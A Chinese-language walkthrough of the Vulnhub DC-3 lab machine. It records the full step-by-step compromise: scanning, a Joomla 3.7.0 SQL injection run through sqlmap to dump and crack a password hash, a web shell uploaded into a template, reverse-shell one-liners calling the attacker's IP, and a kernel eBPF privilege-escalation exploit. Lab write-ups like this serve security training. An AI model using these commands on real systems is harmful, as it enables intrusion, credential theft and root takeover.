Vulnhub渗透靶机系列----DC3
下载地址
http://www.five86.com/downloads/DC-3-2.zip
环境说明
dc3靶机:10.139.10.144
kali攻击机:10.139.10.152
信息收集
探测存活主机
sudo netdiscover -r 10.139.10.0/24
对比mac地址得知是10.139.10.144
nmap扫描端口开放情况
sudo nmap -sS -sV -A -n 10.139.10.144
访问网站,大致意思是只有一个flag,获得root权限
指纹探测是Joomla,知道是这个框架后,我们用专门搞这个框架的工具,joomscan
joomscan下载
sudo git clone https://github.com/rezasp/joomscan.git
cd joomscan
sudo perl joomscan.pl
用这个工具对框架进行探测,发现版本和一些目录
sudo perl joomscan.pl -u http://10.139.10.144
漏洞利用
searchsploit探测
刚开始尝试用msf打,发现不行
换成工具searchsploit
sudo searchsploit joomla 3.7.0
尝试使用第一个漏洞,查看第一个漏洞情况
sudo searchsploit -x php/webapps/42033.txt
sqlmap利用
发现提示我们可以用sqlmap的这个语句跑
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
替换后
sqlmap -u "http://10.139.10.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
跑出库名,我们拿joomladb库去跑他下面的表名
sqlmap -u "http://10.139.10.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -tables -p list[fullordering] --batch
拿到他的表名后,去跑__users表的内容,看看能不能跑出账密
sqlmap -u "http://10.139.10.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb' -T '#__users' --columns -p list[fullordering] --dump
跑username和passowrd两个列的内容
sqlmap -u "http://10.139.10.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D 'joomladb' -T '#__users' -C 'username,password' --dump -p list[fullordering]
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
john解密
John the Ripper(简称为 John)是一款密码破解工具,用于测试密码的安全性和恢复已丢失的密码。它支持多种密码破解技术,如暴力破解、字典攻击、混合攻击等,可以用于破解各种加密算法下的密码。
得到加密的密码,先复制密码保存进1.txt,然后拿到john爆破一下
vim 1.txt
cat 1.txt //查看是否写入正确
sudo john --show 1.txt
得到密码snoopy
上传木马
在这个地方找到编辑文件的后台
点击第一个发现可以创建文件,写入木马
搜索下模板路径,找到上传木马所在的路径
然后用蚁🗡连接
http://10.139.10.144/templates/beez3/html/byf.php
成功连接
反弹shell
一般的常用的反弹shell,常用反弹shell姿势
nc -e /bin/bash 10.139.10.152
nc -c bash 10.139.10.152
但是在这个环境下,发现nc -e和-c没有设置
于是可以从常用反弹shell中重新挑一个,在蚁🗡连接下输入
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.139.10.152 4444 >/tmp/f
同时kali执行
nc -lnvp 4444
成功反弹shell。
提权
查看自己权限不是最高权限,这时就是提权环节了
获取当前系统信息
cat /etc/issue
//Ubuntu 16.04 LTS \n \l
cat /proc/version
//Linux version 4.4.0-21-generic (buildd@lgw01-06) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2) ) #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016
看到当前版本是Ubuntu 16.04, 去searchsploit寻找一下提权漏洞
对比我们搜到的信息
searchsploit -x linux/local/39772.txt
根据说明执行两个文件就能提权,他给了提权下载文件链接
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
这个提权链接文件用魔法没访问到,可能删除了,我这里有以前下载的
链接:https://pan.baidu.com/s/1k7PXtwdvxbSfF2XzmUSpmQ?pwd=luqg
提取码:luqg
我这里直接用蚁🗡本地上传上去了
unzip 39772.zip
cd 39772
ls
tar xvf exploit.tar
ls
cd ebpf_mapfd_doubleput_exploit
赋予文件高权限,方便执行
chmod +x compile.sh
./compile.sh
ls
chmod +x doubleput
./doubleput
之后就可以获得root权限
最终得到flag